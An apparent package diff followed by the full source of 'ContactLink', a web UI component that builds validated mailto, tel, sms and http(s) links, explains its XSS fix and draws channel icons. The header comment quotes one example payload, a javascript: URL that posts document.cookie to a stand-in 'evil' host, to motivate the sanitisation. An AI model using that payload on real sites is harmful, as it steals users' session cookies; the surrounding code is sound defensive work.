- package/bundled-realms/pretui/media-chrome/LICENSE +19 -0
- package/bundled-realms/pretui/media-chrome/README.md +111 -0
- package/bundled-realms/pretui/media-chrome/index.js +1647 -0
- package/bundled-realms/pretui/media-examples.gts +315 -0
- package/bundled-realms/pretui/model-viewer/LICENSE +202 -0
- package/{LICENSE → bundled-realms/pretui/model-viewer/LICENSE-gainmap-js} +1 -1
- package/bundled-realms/pretui/model-viewer/LICENSE-lit +28 -0
- package/bundled-realms/pretui/model-viewer/LICENSE-three +21 -0
- package/bundled-realms/pretui/model-viewer/NOTICE +67 -0
- package/bundled-realms/pretui/model-viewer/README.md +122 -0
- package/bundled-realms/pretui/model-viewer/index.js +6413 -0
- package/bundled-realms/pretui/package.json +51 -0
- package/bundled-realms/pretui/photoswipe/LICENSE +21 -0
- package/bundled-realms/pretui/photoswipe/README.md +91 -0
- package/bundled-realms/pretui/photoswipe/index.js +149 -0
- package/bundled-realms/pretui/photoswipe/style.ts +465 -0
- package/bundled-realms/pretui/plot/LICENSE +13 -0
- package/bundled-realms/pretui/plot/LICENSE.d3 +13 -0
- package/bundled-realms/pretui/plot/LICENSE.interval-tree-1d +22 -0
- package/bundled-realms/pretui/plot/LICENSE.isoformat +13 -0
- package/bundled-realms/pretui/plot/README.md +35 -0
- package/bundled-realms/pretui/plot/index.d.ts +31 -0
- package/bundled-realms/pretui/plot/index.js +449 -0
- package/bundled-realms/pretui/pretui-component.gts +1336 -0
- package/bundled-realms/pretui/pretui-css.gts +380 -0
- package/bundled-realms/pretui/pretui-primitives.gts +162 -0
- package/bundled-realms/pretui/qrcode/LICENSE +34 -0
- package/bundled-realms/pretui/qrcode/README.md +87 -0
- package/bundled-realms/pretui/qrcode/index.js +35 -0
- package/bundled-realms/pretui/realm.json +16 -0
- package/bundled-realms/pretui/registry.ts +40 -0
- package/bundled-realms/pretui/sigpad/LICENSE +21 -0
- package/bundled-realms/pretui/sigpad/README.md +103 -0
- package/bundled-realms/pretui/sigpad/index.js +30 -0
- package/bundled-realms/pretui/structure-dashboard-css.ts +166 -0
- package/bundled-realms/pretui/surfaces/README.md +37 -0
- package/bundled-realms/pretui/surfaces/canvas/LICENSE.d3 +168 -0
- package/bundled-realms/pretui/surfaces/canvas/LICENSE.xyflow +21 -0
- package/bundled-realms/pretui/surfaces/canvas/index.js +25420 -0
- package/bundled-realms/pretui/surfaces/grid/LICENSE.tanstack +50 -0
- package/bundled-realms/pretui/surfaces/grid/index.js +21478 -0
- package/bundled-realms/pretui/surfaces/layout/index.js +9036 -0
- package/bundled-realms/pretui/surfaces-canvas-css.ts +1640 -0
- package/bundled-realms/pretui/surfaces-canvas-layout.ts +607 -0
- package/bundled-realms/pretui/tsconfig.json +54 -0
- package/bundled-realms/pretui/wavesurfer/LICENSE +29 -0
- package/bundled-realms/pretui/wavesurfer/README.md +85 -0
- package/bundled-realms/pretui/wavesurfer/index.js +184 -0
- package/bundled-realms/pretui/zxcvbn/LICENSE +21 -0
- package/bundled-realms/pretui/zxcvbn/README.md +192 -0
- package/bundled-realms/pretui/zxcvbn/index.d.ts +28 -0
- package/bundled-realms/pretui/zxcvbn/index.js +5931 -0
- package/bundled-test-harness/index.html +1 -1
- package/bundled-test-harness/tests/index.html +1 -1
- package/dist/api.js +1 -1
- package/dist/index.js +33 -33
- package/package.json +1 -1
- package/src/lib/test-engine.ts +14 -4
|
@@ -0,0 +1,583 @@
|
|
|
1
|
+
// Pretui — ContactLink: a contact detail rendered as a safe, typed link with its channel glyph.
|
|
2
|
+
//
|
|
3
|
+
// A contact detail is two facts, and most components carry only one: WHAT it
|
|
4
|
+
// is (an address, a number, a profile) and WHAT YOU DO WITH IT (write, call,
|
|
5
|
+
// text, visit). A phone number rendered as text makes the reader copy it into
|
|
6
|
+
// something else; a bare `<a>` with no verb makes them guess where it goes.
|
|
7
|
+
// This carries both, plus the one thing a contact link absolutely must have
|
|
8
|
+
// and the source did not: a sanitised href.
|
|
9
|
+
//
|
|
10
|
+
// ── The security fix, stated plainly ────────────────────────────────────
|
|
11
|
+
//
|
|
12
|
+
// The source pasted its stored value straight into an `href`, so a value of
|
|
13
|
+
// `javascript:fetch('//evil', {method:'POST', body:document.cookie})` became a
|
|
14
|
+
// working link the moment anyone clicked it. Every href here is BUILT rather
|
|
15
|
+
// than passed through: the value is validated against the channel's own shape,
|
|
16
|
+
// and for the URL channels it goes through `new URL()` and an explicit
|
|
17
|
+
// http/https allowlist. A value that does not resolve renders as plain text
|
|
18
|
+
// with a quiet note — never as a link that goes somewhere unexpected, and
|
|
19
|
+
// never as nothing at all, which is the source's other failure mode.
|
|
20
|
+
//
|
|
21
|
+
// ── Better than the inspiration ─────────────────────────────────────────
|
|
22
|
+
//
|
|
23
|
+
// The source's genuinely good idea was a table pairing a type with its label,
|
|
24
|
+
// icon, verb and URL scheme, so the set could grow without touching templates.
|
|
25
|
+
// It then looked entries up by their HUMAN-READABLE LABEL, so renaming
|
|
26
|
+
// "Phone" to "Telephone" — or translating it — silently broke the icon, the
|
|
27
|
+
// verb and the scheme all at once, and a miss rendered nothing at all.
|
|
28
|
+
//
|
|
29
|
+
// Here the table is keyed by a stable id, and `@channel` also accepts a whole
|
|
30
|
+
// `ContactChannel` object, so a caller adds LinkedIn or Discord by passing
|
|
31
|
+
// data rather than by subclassing. It is the same extensibility, reachable
|
|
32
|
+
// without inheritance.
|
|
33
|
+
import Component from '@glimmer/component';
|
|
34
|
+
import { cssStyle } from '../pretui-css';
|
|
35
|
+
|
|
36
|
+
// ═══════════════════════════════════════════════════════════════════════
|
|
37
|
+
// The pure layer. No DOM, no clock.
|
|
38
|
+
// Unit-tested in ink-contact.test.gts
|
|
39
|
+
// ═══════════════════════════════════════════════════════════════════════
|
|
40
|
+
|
|
41
|
+
/** Which mark is drawn. Inline SVG in `currentColor` rather than a registry
|
|
42
|
+
* lookup, so a channel a caller invents still gets a mark. */
|
|
43
|
+
export type ContactGlyph = 'mail' | 'phone' | 'chat' | 'globe' | 'at';
|
|
44
|
+
|
|
45
|
+
/** One kind of contact detail. Everything a channel needs is data, so a
|
|
46
|
+
* caller can add one without touching this module. */
|
|
47
|
+
export interface ContactChannel {
|
|
48
|
+
/** stable key — never the visible label, which renaming or translating
|
|
49
|
+
* would break */
|
|
50
|
+
id: string;
|
|
51
|
+
/** what the channel is called */
|
|
52
|
+
label: string;
|
|
53
|
+
/** what you DO with it: Email, Call, Text, Visit */
|
|
54
|
+
cta: string;
|
|
55
|
+
/** the URI scheme, or `''` when the value is already a whole URL */
|
|
56
|
+
scheme: '' | 'mailto:' | 'tel:' | 'sms:';
|
|
57
|
+
/** for a handle channel, the profile base — `https://github.com/` */
|
|
58
|
+
base?: string;
|
|
59
|
+
glyph: ContactGlyph;
|
|
60
|
+
/** opens in a new context; false for `mailto:`/`tel:`, which hand off to
|
|
61
|
+
* the OS rather than navigating */
|
|
62
|
+
external?: boolean;
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
/** The channels that are generic enough to ship. Anything more specific is a
|
|
66
|
+
* `ContactChannel` the caller passes in. */
|
|
67
|
+
export const CONTACT_CHANNELS: Record<string, ContactChannel> = {
|
|
68
|
+
email: {
|
|
69
|
+
id: 'email',
|
|
70
|
+
label: 'Email',
|
|
71
|
+
cta: 'Email',
|
|
72
|
+
scheme: 'mailto:',
|
|
73
|
+
glyph: 'mail',
|
|
74
|
+
},
|
|
75
|
+
phone: {
|
|
76
|
+
id: 'phone',
|
|
77
|
+
label: 'Phone',
|
|
78
|
+
cta: 'Call',
|
|
79
|
+
scheme: 'tel:',
|
|
80
|
+
glyph: 'phone',
|
|
81
|
+
},
|
|
82
|
+
sms: {
|
|
83
|
+
id: 'sms',
|
|
84
|
+
label: 'Text message',
|
|
85
|
+
cta: 'Text',
|
|
86
|
+
scheme: 'sms:',
|
|
87
|
+
glyph: 'chat',
|
|
88
|
+
},
|
|
89
|
+
url: {
|
|
90
|
+
id: 'url',
|
|
91
|
+
label: 'Website',
|
|
92
|
+
cta: 'Visit',
|
|
93
|
+
scheme: '',
|
|
94
|
+
glyph: 'globe',
|
|
95
|
+
external: true,
|
|
96
|
+
},
|
|
97
|
+
};
|
|
98
|
+
|
|
99
|
+
/** The only schemes a built href may end up carrying. Everything else —
|
|
100
|
+
* `javascript:`, `data:`, `vbscript:`, `file:` — is refused. */
|
|
101
|
+
const SAFE_PROTOCOLS = ['http:', 'https:'];
|
|
102
|
+
|
|
103
|
+
/**
|
|
104
|
+
* Deliberately conservative rather than RFC-complete.
|
|
105
|
+
*
|
|
106
|
+
* A validator that accepts every legal address also accepts a great deal that
|
|
107
|
+
* is not an address at all, and the cost of a false negative here is a link
|
|
108
|
+
* that renders as text with a note — recoverable. The cost of a false positive
|
|
109
|
+
* is an `href` nobody checked.
|
|
110
|
+
*/
|
|
111
|
+
const EMAIL_SHAPE = /^[^\s@<>"'\\]+@[^\s@<>"'\\.]+(?:\.[^\s@<>"'\\.]+)+$/;
|
|
112
|
+
const HANDLE_SHAPE = /^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/;
|
|
113
|
+
|
|
114
|
+
/** Resolve `@channel` — an id or a whole channel — to a channel. */
|
|
115
|
+
export function channelFor(
|
|
116
|
+
channel: string | ContactChannel | undefined,
|
|
117
|
+
): ContactChannel | undefined {
|
|
118
|
+
if (channel === undefined) {
|
|
119
|
+
return undefined;
|
|
120
|
+
}
|
|
121
|
+
if (typeof channel === 'string') {
|
|
122
|
+
return CONTACT_CHANNELS[channel.trim().toLowerCase()];
|
|
123
|
+
}
|
|
124
|
+
return channel;
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
/** A URL, only if it is one AND it is http or https. `new URL` does the
|
|
128
|
+
* parsing so no hand-rolled scheme regex has to be right. */
|
|
129
|
+
function safeUrl(text: string): string | undefined {
|
|
130
|
+
let raw = text.trim();
|
|
131
|
+
if (raw.length === 0) {
|
|
132
|
+
return undefined;
|
|
133
|
+
}
|
|
134
|
+
// A URL contains no raw whitespace — a legitimate one percent-encodes it —
|
|
135
|
+
// and browsers are more forgiving here than the spec suggests: Chromium
|
|
136
|
+
// happily parses `https://not a url at all` rather than throwing, so a
|
|
137
|
+
// sentence would otherwise become a link. Measured, not assumed.
|
|
138
|
+
if (/\s/.test(raw)) {
|
|
139
|
+
return undefined;
|
|
140
|
+
}
|
|
141
|
+
// A bare host is a URL a reader clearly meant; a bare `javascript:...` is
|
|
142
|
+
// not, and prefixing it would only hide it. So the prefix is added only when
|
|
143
|
+
// there is no scheme-looking prefix at all.
|
|
144
|
+
let candidate = /^[A-Za-z][A-Za-z0-9+.-]*:/.test(raw) ? raw : 'https://' + raw;
|
|
145
|
+
let parsed: URL;
|
|
146
|
+
try {
|
|
147
|
+
parsed = new URL(candidate);
|
|
148
|
+
} catch {
|
|
149
|
+
return undefined;
|
|
150
|
+
}
|
|
151
|
+
if (SAFE_PROTOCOLS.indexOf(parsed.protocol) === -1) {
|
|
152
|
+
return undefined;
|
|
153
|
+
}
|
|
154
|
+
// A contact link points at somewhere on the public web, so the host has to
|
|
155
|
+
// look like one. Named rather than hidden (Law 7): a single-label intranet
|
|
156
|
+
// host (`https://wiki`) is deliberately refused, because accepting it also
|
|
157
|
+
// accepts every typo that happens to parse.
|
|
158
|
+
let host = parsed.hostname;
|
|
159
|
+
if (host.length === 0 || (host.indexOf('.') === -1 && host !== 'localhost')) {
|
|
160
|
+
return undefined;
|
|
161
|
+
}
|
|
162
|
+
return parsed.href;
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
/**
|
|
166
|
+
* The `href` for a value on a channel, or `undefined`.
|
|
167
|
+
*
|
|
168
|
+
* Always BUILT, never passed through: the caller's characters are validated
|
|
169
|
+
* against the channel's shape first, and for the URL channels the result is
|
|
170
|
+
* re-serialised by the platform's own parser. There is no path by which an
|
|
171
|
+
* unvalidated string reaches an `href`.
|
|
172
|
+
*/
|
|
173
|
+
export function contactHref(
|
|
174
|
+
channel: ContactChannel | undefined,
|
|
175
|
+
value: string | undefined,
|
|
176
|
+
): string | undefined {
|
|
177
|
+
if (!channel) {
|
|
178
|
+
return undefined;
|
|
179
|
+
}
|
|
180
|
+
let raw = (value ?? '').trim();
|
|
181
|
+
if (raw.length === 0) {
|
|
182
|
+
return undefined;
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
if (channel.base) {
|
|
186
|
+
let handle = raw.replace(/^@/, '');
|
|
187
|
+
if (!HANDLE_SHAPE.test(handle)) {
|
|
188
|
+
return undefined;
|
|
189
|
+
}
|
|
190
|
+
return safeUrl(channel.base + handle);
|
|
191
|
+
}
|
|
192
|
+
|
|
193
|
+
if (channel.scheme === 'mailto:') {
|
|
194
|
+
let address = raw.replace(/^mailto:/i, '').trim();
|
|
195
|
+
return EMAIL_SHAPE.test(address)
|
|
196
|
+
? 'mailto:' + encodeURIComponent(address).replace(/%40/g, '@')
|
|
197
|
+
: undefined;
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
if (channel.scheme === 'tel:' || channel.scheme === 'sms:') {
|
|
201
|
+
let typed = raw.replace(/^(tel|sms):/i, '').trim();
|
|
202
|
+
// A phone number contains digits and the punctuation people write them
|
|
203
|
+
// with — nothing else. Checking the WHOLE value before stripping is what
|
|
204
|
+
// stops an arbitrary string with a few digits in it (a base64 blob, a
|
|
205
|
+
// sentence) from being harvested into a plausible-looking `tel:`.
|
|
206
|
+
if (!/^[+()\-./\s\d]+$/.test(typed)) {
|
|
207
|
+
return undefined;
|
|
208
|
+
}
|
|
209
|
+
// Rebuilt from digits and a single leading plus. Nothing else survives, so
|
|
210
|
+
// a number cannot smuggle a second URI component past the dialler.
|
|
211
|
+
let digits = typed.replace(/[^\d+]/g, '');
|
|
212
|
+
let plus = digits.startsWith('+') ? '+' : '';
|
|
213
|
+
let body = digits.replace(/\+/g, '');
|
|
214
|
+
if (body.length < 3 || body.length > 20) {
|
|
215
|
+
return undefined;
|
|
216
|
+
}
|
|
217
|
+
return channel.scheme + plus + body;
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
return safeUrl(raw);
|
|
221
|
+
}
|
|
222
|
+
|
|
223
|
+
/**
|
|
224
|
+
* The value as a reader wants to see it — a host without its scheme, a handle
|
|
225
|
+
* with its `@`, an address as typed.
|
|
226
|
+
*
|
|
227
|
+
* Never used to build the href; a display string and a destination are
|
|
228
|
+
* different things and conflating them is how a link ends up going somewhere
|
|
229
|
+
* other than what it says.
|
|
230
|
+
*/
|
|
231
|
+
export function contactDisplay(
|
|
232
|
+
channel: ContactChannel | undefined,
|
|
233
|
+
value: string | undefined,
|
|
234
|
+
): string {
|
|
235
|
+
let raw = (value ?? '').trim();
|
|
236
|
+
if (!channel || raw.length === 0) {
|
|
237
|
+
return raw;
|
|
238
|
+
}
|
|
239
|
+
if (channel.base) {
|
|
240
|
+
return '@' + raw.replace(/^@/, '');
|
|
241
|
+
}
|
|
242
|
+
if (channel.scheme === '') {
|
|
243
|
+
let href = safeUrl(raw);
|
|
244
|
+
if (!href) {
|
|
245
|
+
return raw;
|
|
246
|
+
}
|
|
247
|
+
try {
|
|
248
|
+
let parsed = new URL(href);
|
|
249
|
+
let path = parsed.pathname === '/' ? '' : parsed.pathname;
|
|
250
|
+
return parsed.hostname.replace(/^www\./, '') + path;
|
|
251
|
+
} catch {
|
|
252
|
+
return raw;
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
return raw.replace(/^(mailto|tel|sms):/i, '');
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
/** A profile channel from a base URL — the extension point, as data. */
|
|
259
|
+
export function handleChannel(
|
|
260
|
+
id: string,
|
|
261
|
+
label: string,
|
|
262
|
+
base: string,
|
|
263
|
+
cta = 'Visit',
|
|
264
|
+
): ContactChannel {
|
|
265
|
+
return { id, label, cta, scheme: '', base, glyph: 'at', external: true };
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
// ═══════════════════════════════════════════════════════════════════════
|
|
269
|
+
// The component
|
|
270
|
+
// ═══════════════════════════════════════════════════════════════════════
|
|
271
|
+
|
|
272
|
+
export interface ContactLinkSignature {
|
|
273
|
+
Args: {
|
|
274
|
+
/** a channel id (`email`, `phone`, `sms`, `url`) or a whole
|
|
275
|
+
* `ContactChannel` — passing data is how the set grows */
|
|
276
|
+
channel?: string | ContactChannel;
|
|
277
|
+
/** the address, number, handle or URL */
|
|
278
|
+
value?: string;
|
|
279
|
+
/** who or what it belongs to; joins the accessible name so a row of
|
|
280
|
+
* these does not announce as four identical "Email" links */
|
|
281
|
+
name?: string;
|
|
282
|
+
/** `chip` (default) is an inline pill; `row` is a full-width line with the
|
|
283
|
+
* verb at the end; `icon` is the mark alone with an sr-only name */
|
|
284
|
+
variant?: 'chip' | 'row' | 'icon';
|
|
285
|
+
/** show the verb beside the value in the chip variant */
|
|
286
|
+
showCta?: boolean;
|
|
287
|
+
/** a hue for the Law-2 treatment; defaults to the theme accent */
|
|
288
|
+
hue?: string;
|
|
289
|
+
};
|
|
290
|
+
Element: HTMLElement;
|
|
291
|
+
}
|
|
292
|
+
|
|
293
|
+
export class ContactLink extends Component<ContactLinkSignature> {
|
|
294
|
+
get channel(): ContactChannel | undefined {
|
|
295
|
+
return channelFor(this.args.channel);
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
get href(): string | undefined {
|
|
299
|
+
return contactHref(this.channel, this.args.value);
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
get resolves(): boolean {
|
|
303
|
+
return this.href !== undefined;
|
|
304
|
+
}
|
|
305
|
+
|
|
306
|
+
get display(): string {
|
|
307
|
+
return contactDisplay(this.channel, this.args.value);
|
|
308
|
+
}
|
|
309
|
+
|
|
310
|
+
get variant(): 'chip' | 'row' | 'icon' {
|
|
311
|
+
return this.args.variant ?? 'chip';
|
|
312
|
+
}
|
|
313
|
+
|
|
314
|
+
get isRow(): boolean {
|
|
315
|
+
return this.variant === 'row';
|
|
316
|
+
}
|
|
317
|
+
get isIconOnly(): boolean {
|
|
318
|
+
return this.variant === 'icon';
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
get cta(): string {
|
|
322
|
+
return this.channel?.cta ?? 'Open';
|
|
323
|
+
}
|
|
324
|
+
|
|
325
|
+
get external(): boolean {
|
|
326
|
+
return this.channel?.external === true;
|
|
327
|
+
}
|
|
328
|
+
get target(): string | undefined {
|
|
329
|
+
return this.external ? '_blank' : undefined;
|
|
330
|
+
}
|
|
331
|
+
/** `noopener` matters even on a `mailto:`-adjacent link: a caller can supply
|
|
332
|
+
* any channel, and a rule that only sometimes applies is a rule that will be
|
|
333
|
+
* missed. */
|
|
334
|
+
get rel(): string | undefined {
|
|
335
|
+
return this.external ? 'noopener noreferrer' : undefined;
|
|
336
|
+
}
|
|
337
|
+
|
|
338
|
+
/**
|
|
339
|
+
* The accessible name, composed rather than left to fall out of the
|
|
340
|
+
* subtree.
|
|
341
|
+
*
|
|
342
|
+
* A row of four contact links whose names are all "Email" is a screen-reader
|
|
343
|
+
* failure that looks fine on screen, so the name always carries the verb,
|
|
344
|
+
* the value and — where the caller supplied one — who it belongs to.
|
|
345
|
+
*/
|
|
346
|
+
get accessibleName(): string {
|
|
347
|
+
let parts = [this.cta];
|
|
348
|
+
if (this.args.name) {
|
|
349
|
+
parts.push(this.args.name);
|
|
350
|
+
}
|
|
351
|
+
if (this.display) {
|
|
352
|
+
parts.push('at ' + this.display);
|
|
353
|
+
}
|
|
354
|
+
return parts.join(' ');
|
|
355
|
+
}
|
|
356
|
+
|
|
357
|
+
get unresolvedNote(): string {
|
|
358
|
+
let label = this.channel?.label ?? 'contact';
|
|
359
|
+
return 'Not a usable ' + label.toLowerCase() + ', so it is shown as text.';
|
|
360
|
+
}
|
|
361
|
+
|
|
362
|
+
/** The caller hue, validated before it reaches a style attribute. A colour
|
|
363
|
+
* is the one caller value that goes straight into CSS, so it never goes
|
|
364
|
+
* there unguarded. */
|
|
365
|
+
get hueStyle() {
|
|
366
|
+
return cssStyle('--pretui-contact-hue', this.args.hue);
|
|
367
|
+
}
|
|
368
|
+
|
|
369
|
+
get glyph(): ContactGlyph {
|
|
370
|
+
return this.channel?.glyph ?? 'globe';
|
|
371
|
+
}
|
|
372
|
+
get isMail(): boolean {
|
|
373
|
+
return this.glyph === 'mail';
|
|
374
|
+
}
|
|
375
|
+
get isPhone(): boolean {
|
|
376
|
+
return this.glyph === 'phone';
|
|
377
|
+
}
|
|
378
|
+
get isChat(): boolean {
|
|
379
|
+
return this.glyph === 'chat';
|
|
380
|
+
}
|
|
381
|
+
get isAt(): boolean {
|
|
382
|
+
return this.glyph === 'at';
|
|
383
|
+
}
|
|
384
|
+
get isGlobe(): boolean {
|
|
385
|
+
return !this.isMail && !this.isPhone && !this.isChat && !this.isAt;
|
|
386
|
+
}
|
|
387
|
+
|
|
388
|
+
<template>
|
|
389
|
+
{{#if this.resolves}}
|
|
390
|
+
<a
|
|
391
|
+
class='pretui-contact'
|
|
392
|
+
href={{this.href}}
|
|
393
|
+
target={{this.target}}
|
|
394
|
+
rel={{this.rel}}
|
|
395
|
+
data-variant={{this.variant}}
|
|
396
|
+
data-channel={{this.channel.id}}
|
|
397
|
+
aria-label={{this.accessibleName}}
|
|
398
|
+
style={{this.hueStyle}}
|
|
399
|
+
data-test-pretui-contact
|
|
400
|
+
...attributes
|
|
401
|
+
>
|
|
402
|
+
<span class='pretui-contact-mark' aria-hidden='true'>
|
|
403
|
+
{{#if this.isMail}}
|
|
404
|
+
<svg viewBox='0 0 16 16' width='13' height='13' fill='none'>
|
|
405
|
+
<rect
|
|
406
|
+
x='1.5'
|
|
407
|
+
y='3.5'
|
|
408
|
+
width='13'
|
|
409
|
+
height='9'
|
|
410
|
+
rx='1.5'
|
|
411
|
+
stroke='currentColor'
|
|
412
|
+
stroke-width='1.3'
|
|
413
|
+
/><path
|
|
414
|
+
d='M2 4.5 8 9l6-4.5'
|
|
415
|
+
stroke='currentColor'
|
|
416
|
+
stroke-width='1.3'
|
|
417
|
+
stroke-linecap='round'
|
|
418
|
+
stroke-linejoin='round'
|
|
419
|
+
/>
|
|
420
|
+
</svg>
|
|
421
|
+
{{else if this.isPhone}}
|
|
422
|
+
<svg viewBox='0 0 16 16' width='13' height='13' fill='none'>
|
|
423
|
+
<path
|
|
424
|
+
d='M3 2.5h2.2l1.1 2.8-1.4 1a8 8 0 0 0 3.8 3.8l1-1.4 2.8 1.1V12a1.5 1.5 0 0 1-1.6 1.5A10.5 10.5 0 0 1 1.5 4.1 1.5 1.5 0 0 1 3 2.5Z'
|
|
425
|
+
stroke='currentColor'
|
|
426
|
+
stroke-width='1.3'
|
|
427
|
+
stroke-linejoin='round'
|
|
428
|
+
/>
|
|
429
|
+
</svg>
|
|
430
|
+
{{else if this.isChat}}
|
|
431
|
+
<svg viewBox='0 0 16 16' width='13' height='13' fill='none'>
|
|
432
|
+
<path
|
|
433
|
+
d='M2 4.5A2 2 0 0 1 4 2.5h8a2 2 0 0 1 2 2v4a2 2 0 0 1-2 2H6.5L3 13.2V10.5H4a2 2 0 0 1-2-2Z'
|
|
434
|
+
stroke='currentColor'
|
|
435
|
+
stroke-width='1.3'
|
|
436
|
+
stroke-linejoin='round'
|
|
437
|
+
/>
|
|
438
|
+
</svg>
|
|
439
|
+
{{else if this.isAt}}
|
|
440
|
+
<svg viewBox='0 0 16 16' width='13' height='13' fill='none'>
|
|
441
|
+
<circle
|
|
442
|
+
cx='8'
|
|
443
|
+
cy='8'
|
|
444
|
+
r='2.6'
|
|
445
|
+
stroke='currentColor'
|
|
446
|
+
stroke-width='1.3'
|
|
447
|
+
/><path
|
|
448
|
+
d='M10.6 5.4v3.4a1.9 1.9 0 0 0 3.4 1 6.2 6.2 0 1 0-2.4 3.3'
|
|
449
|
+
stroke='currentColor'
|
|
450
|
+
stroke-width='1.3'
|
|
451
|
+
stroke-linecap='round'
|
|
452
|
+
/>
|
|
453
|
+
</svg>
|
|
454
|
+
{{else}}
|
|
455
|
+
<svg viewBox='0 0 16 16' width='13' height='13' fill='none'>
|
|
456
|
+
<circle
|
|
457
|
+
cx='8'
|
|
458
|
+
cy='8'
|
|
459
|
+
r='6'
|
|
460
|
+
stroke='currentColor'
|
|
461
|
+
stroke-width='1.3'
|
|
462
|
+
/><path
|
|
463
|
+
d='M2 8h12M8 2a11 11 0 0 1 0 12A11 11 0 0 1 8 2Z'
|
|
464
|
+
stroke='currentColor'
|
|
465
|
+
stroke-width='1.3'
|
|
466
|
+
/>
|
|
467
|
+
</svg>
|
|
468
|
+
{{/if}}
|
|
469
|
+
</span>
|
|
470
|
+
{{#unless this.isIconOnly}}
|
|
471
|
+
<span class='pretui-contact-value'>{{this.display}}</span>
|
|
472
|
+
{{#if this.isRow}}
|
|
473
|
+
<span class='pretui-contact-cta'>{{this.cta}}</span>
|
|
474
|
+
{{else if @showCta}}
|
|
475
|
+
<span class='pretui-contact-cta'>{{this.cta}}</span>
|
|
476
|
+
{{/if}}
|
|
477
|
+
{{/unless}}
|
|
478
|
+
</a>
|
|
479
|
+
{{else}}
|
|
480
|
+
{{! Never a dead <a>, and never nothing: a value that cannot be turned
|
|
481
|
+
into a safe destination is still information the reader wants. }}
|
|
482
|
+
<span
|
|
483
|
+
class='pretui-contact'
|
|
484
|
+
data-variant={{this.variant}}
|
|
485
|
+
data-unresolved='true'
|
|
486
|
+
data-test-pretui-contact
|
|
487
|
+
...attributes
|
|
488
|
+
>
|
|
489
|
+
<span class='pretui-contact-value'>{{this.display}}</span>
|
|
490
|
+
<span class='pretui-contact-note'>{{this.unresolvedNote}}</span>
|
|
491
|
+
</span>
|
|
492
|
+
{{/if}}
|
|
493
|
+
<style scoped>
|
|
494
|
+
@layer PretComponent {
|
|
495
|
+
/* Law 2 — one hue in, a complete treatment out. The ink is derived from
|
|
496
|
+
the same hue rather than picked, so contrast holds in light and dark
|
|
497
|
+
and any caller hue stays legible. */
|
|
498
|
+
.pretui-contact {
|
|
499
|
+
--hue: var(--pretui-contact-hue, var(--primary));
|
|
500
|
+
display: inline-flex;
|
|
501
|
+
align-items: center;
|
|
502
|
+
gap: var(--space-2, 6px);
|
|
503
|
+
min-width: 0;
|
|
504
|
+
max-width: 100%;
|
|
505
|
+
padding: 3px calc(6px * var(--pretui-capsule-base, 1.35));
|
|
506
|
+
border-radius: var(--radius);
|
|
507
|
+
background: color-mix(in oklch, var(--hue) 12%, var(--card));
|
|
508
|
+
color: color-mix(in oklch, var(--foreground) 16%, var(--hue));
|
|
509
|
+
font-size: var(--text-ui-sm, 11.5px);
|
|
510
|
+
text-decoration: none;
|
|
511
|
+
transition:
|
|
512
|
+
background-color 140ms
|
|
513
|
+
var(--pretui-ease-snap, cubic-bezier(0.23, 1, 0.32, 1)),
|
|
514
|
+
transform 140ms var(--pretui-ease-snap, cubic-bezier(0.23, 1, 0.32, 1));
|
|
515
|
+
}
|
|
516
|
+
a.pretui-contact:hover {
|
|
517
|
+
background: color-mix(in oklch, var(--hue) 20%, var(--card));
|
|
518
|
+
}
|
|
519
|
+
/* One consistent press across everything pressable. */
|
|
520
|
+
a.pretui-contact:active {
|
|
521
|
+
transform: scale(0.96);
|
|
522
|
+
}
|
|
523
|
+
a.pretui-contact:focus-visible {
|
|
524
|
+
outline: 2px solid var(--ring);
|
|
525
|
+
outline-offset: 2px;
|
|
526
|
+
}
|
|
527
|
+
.pretui-contact[data-unresolved='true'] {
|
|
528
|
+
--hue: var(--muted-foreground);
|
|
529
|
+
flex-wrap: wrap;
|
|
530
|
+
}
|
|
531
|
+
.pretui-contact-mark {
|
|
532
|
+
flex: 0 0 auto;
|
|
533
|
+
display: inline-flex;
|
|
534
|
+
}
|
|
535
|
+
/* Min-width: 0 plus truncation on every flex child, or a
|
|
536
|
+
long address blows the row out. */
|
|
537
|
+
.pretui-contact-value {
|
|
538
|
+
min-width: 0;
|
|
539
|
+
overflow: hidden;
|
|
540
|
+
text-overflow: ellipsis;
|
|
541
|
+
white-space: nowrap;
|
|
542
|
+
}
|
|
543
|
+
.pretui-contact-cta {
|
|
544
|
+
flex: 0 0 auto;
|
|
545
|
+
font-weight: var(--weight-medium, 500);
|
|
546
|
+
opacity: 0.75;
|
|
547
|
+
}
|
|
548
|
+
.pretui-contact-note {
|
|
549
|
+
flex: 0 0 auto;
|
|
550
|
+
font-size: var(--text-ui-xs, 10.5px);
|
|
551
|
+
color: var(--muted-foreground);
|
|
552
|
+
}
|
|
553
|
+
.pretui-contact[data-variant='row'] {
|
|
554
|
+
display: flex;
|
|
555
|
+
width: 100%;
|
|
556
|
+
padding: var(--space-2, 6px) var(--space-3, 8px);
|
|
557
|
+
font-size: var(--text-ui-md, 13px);
|
|
558
|
+
}
|
|
559
|
+
.pretui-contact[data-variant='row'] .pretui-contact-cta {
|
|
560
|
+
margin-inline-start: auto;
|
|
561
|
+
}
|
|
562
|
+
.pretui-contact[data-variant='icon'] {
|
|
563
|
+
padding: 5px;
|
|
564
|
+
border-radius: 999px;
|
|
565
|
+
}
|
|
566
|
+
@media (pointer: coarse) {
|
|
567
|
+
.pretui-contact[data-variant='icon'],
|
|
568
|
+
.pretui-contact[data-variant='row'] {
|
|
569
|
+
min-height: 44px;
|
|
570
|
+
}
|
|
571
|
+
}
|
|
572
|
+
@media (prefers-reduced-motion: reduce) {
|
|
573
|
+
.pretui-contact {
|
|
574
|
+
transition: none;
|
|
575
|
+
}
|
|
576
|
+
a.pretui-contact:active {
|
|
577
|
+
transform: none;
|
|
578
|
+
}
|
|
579
|
+
}
|
|
580
|
+
}
|
|
581
|
+
</style>
|
|
582
|
+
</template>
|
|
583
|
+
}
|
|
